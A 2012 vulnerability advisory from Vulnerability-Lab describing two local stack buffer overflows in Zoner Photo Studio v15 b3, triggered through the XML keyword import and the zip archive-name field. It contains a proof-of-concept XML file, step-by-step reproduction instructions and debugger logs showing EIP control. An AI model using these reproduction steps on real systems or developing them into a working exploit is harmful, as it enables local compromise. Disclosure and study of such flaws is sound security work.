Zoner Photo Studio 15 b3 – Buffer Overflow (PoC)
Title: ====== Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities Date: ===== 2012-11-13 References: =========== http://www.vulnerability-lab.com/get_content.php?id=759 VL-ID: ===== 759 Common Vulnerability Scoring System: ==================================== 4.5 Introduction: ============= Mit dem Bildverwalter `Zoner PhotoStudio` sammeln Sie Ihre digitalen Fotos unter einer Oberfl�che. Die �bersichtliche Benutzeroberfl�che von `Zoner PhotoStudio` und der gro�e Funktionsumfang machen es Ihnen einfach, Ihre Bilder zu versch�nern und mit Freunden zu teilen. Eines der Highlights der Software ist die M�glichkeit, eigene 3D-Bilder zu entwerfen. Die fertigen Fotos k�nnen mit einer handels�blichen 3D-Brille dreidimensional bestaunt werden. Weiter k�nnen Sie Diashows anlegen, Ihre Bilder im Internet ver�ffentlichen oder Panorama-Fotos erstellen, wobei Ihnen das Programm ganz unkompliziert unter die Arme greift. (Copy of the Homepage: http://www.zoner.com/de-de/download-photo-studio-free ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in the official Zoner Photo Studio Software v15 (b3). Report-Timeline: ================ 2012-11-13: Public Disclosure Status: ======== Published Affected Products: ================== Zoner Software Product: Zoner Photo Studio v15 Build 3 Exploitation-Technique: ======================= Local Severity: ========= High Details: ======== Multiple local buffer overflow vulnerabilities are detected in the in the official Zoner Photo Studio Software v15 (b3). The bug allows local attackers to escalate out of the affected vulnerable software module with system process privileges. The vulnerabilities are detected in 2 different software functions of the main executeable (zps.exe). 1.1 The first local buffer overflow vulnerability is located in the XML `Keyword Import (Schl�sselwort)` module. The xml importer does not parse the length (values) of the string (name & description) when processing to import (buffer). The result is a local exploitable stack-based Buffer Overflow vulnerability. Vulnerable Module(s): [+] Setting(Einstellungen) > Keyword XML Import/Export (ZPS14Keywords.xml) Vulnerable Parameter(s): [+] Name [+] Description 1.2 The secound vulnerability is located in the `Publizieren > Per Mail versenden` (STRG+UMS+M) module. The module allows an local user to publish .zip compressed files. The archivname field does not filter or sanitize large inputs when processing to load (buffer) the compressed file name extensions. The result is a local exploitable stack-based Buffer Overflow vulnerability. Vulnerable Module(s): [+] Publizieren > Per Mail versenden > [Zip Comprimierung der Bilder] Vulnerable Parameter(s): [+] Archivname Proof of Concept: ================= 1.1 The buffer overflow vulnerability can be exploited by local attackers with local privileged system user account and without required user inter action. For demonstration or reproduce ... PoC: [XML] ZPS14Keywords.xml | Setting(Einstellungen) > Keyword Import/Export <?php header('Content-Type: text/xml'); print '<?xml version="1.0" encoding="UTF-8"?><keywords version="2.0"><hierarchy> <keyword category="yes" name="Security Researchers"> <keyword category="no" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" description="31337;" /> <keyword category="no" name="Benjamin Kunz Mejri" /> <keyword category="no" name="PenTest23" /> <keyword category="no" name="PenTest24" /> <keyword category="no" name="PenTest25" /> <keyword category="no" name="PenTest26" /> <keyword category="no" name="PenTest26" /> <keyword category="no" name="PenTest27" /> <keyword category="no" name="PenTest28" /> <keyword category="no" name="PenTest29" /> <keyword category="no" name="PenTest30" /> </keyword> <keyword category="yes" name="News"> <keyword category="no" name="31337;" description="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" /> <keyword category="no" name="Chokri Ben Achour" /> <keyword category="no" name="PenTest32" /> <keyword category="no" name="PenTest33" /> <keyword category="no" name="PenTest34" /> <keyword category="no" name="PenTest35" /> <keyword category="no" name="PenTest36" /> <keyword category="no" name="PenTest37" /> <keyword category="no" name="PenTest38" /> <keyword category="no" name="PenTest39" /> <keyword category="no" name="PenTest40" /> </keyword> <keyword category="yes" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!]"> <keyword category="yes" name="31337;" /> <keyword category="no" name="Ibrahim El-Sayed" /> <keyword category="no" name="PenTest41" /> <keyword category="no" name="PenTest42" /> <keyword category="no" name="PenTest43" /> <keyword category="no" name="PenTest44" /> <keyword category="no" name="PenTest45" /> <keyword category="no" name="PenTest46" /> <keyword category="no" name="PenTest47" /> <keyword category="no" name="PenTest48" /> <keyword category="no" name="PenTest49" /> </keyword> </hierarchy> </keywords>'; ?> --- Debug Logs --- (3a98.1840): Access violation - code c0000005 eax=00000000 ebx=00410041 ecx=000031e7 edx=0878dd68 esi=0021ced0 edi=00000000 eip=41414141 esp=0021ce68 ebp=0021cebc iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!ZwRaiseException+0x12: 76fd15de 83c404 add esp,4 0:000> u ntdll!ZwRaiseException+0x12: 76fd15de 83c404 add esp,4 76fd15e1 c20c00 ret 0Ch ntdll!NtRaiseHardError: 76fd15e4 b830010000 mov eax,130h 76fd15e9 33c9 xor ecx,ecx 76fd15eb 8d542404 lea edx,[esp+4] 76fd15ef 64ff15c0000000 call dword ptr fs:[0C0h] 76fd15f6 83c404 add esp,4 76fd15f9 c21800 ret 18h 0:000> a 76fd15de !exchain 1.2 The buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and without required user inter action. For demonstration or reproduce ... Manually Exploitation/Reproduce: Publizieren > Per Mail versenden > Zip Comprimierung der Bilder > Archivname + FILE.[ZIP] (STRG+UMS+M) 1. Install & start the Zoner Photo Studio Software 2. Click in the main menu the Publizieren button and open the Per Mail versenden function - < STRG+UMS+M > 3. Activate the Zip Compressed Pictures function (Zip Comprimierung der Bilder) 4. Now, you see the standard value (Dateien.zip) 5. Delete one of both words but do not delete the `.` because it is required for a not invalid submission (via OK Button) 6. Include the following example strings Daten.[+Large String AAAAAA+] or [Large String AAAAAA+].zip and click OK! 7. *BAM! Result is a stack-based buffer overflow [overwrites the ebx & eip] --- Exception Logs --- EventType=BEX [Buffer Overflow] EventTime=129972361437653387 ReportType=2 Consent=1 ReportIdentifier=cfbd2b2a-2d1f-11e2-be0d-8c500fdd2fd9 IntegratorReportIdentifier=cfbd2b29-2d1f-11e2-be0d-8c500fdd2fd9 WOW64=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=Zps.exe Sig[1].Name=Anwendungsversion Sig[1].Value=14.0.1.7 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4fffeaeb Sig[3].Name=Fehlermodulname Sig[3].Value=StackHash_24fa Sig[4].Name=Fehlermodulversion Sig[4].Value=0.0.0.0 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=00000000 Sig[6].Name=Ausnahmeoffset Sig[6].Value=41414141 <=== EIP Sig[7].Name=Ausnahmecode Sig[7].Value=c0000005 Sig[8].Name=Ausnahmedaten Sig[8].Value=00000008 --- Debug Logs --- - Access violation - code c0000005 ebx=00410041 eip=41414141 Risk: ===== The security risk of the local buffer overflow vulnerabilities are estimated as medium(+)|(-)high. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright � 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research@vulnerability-lab.com |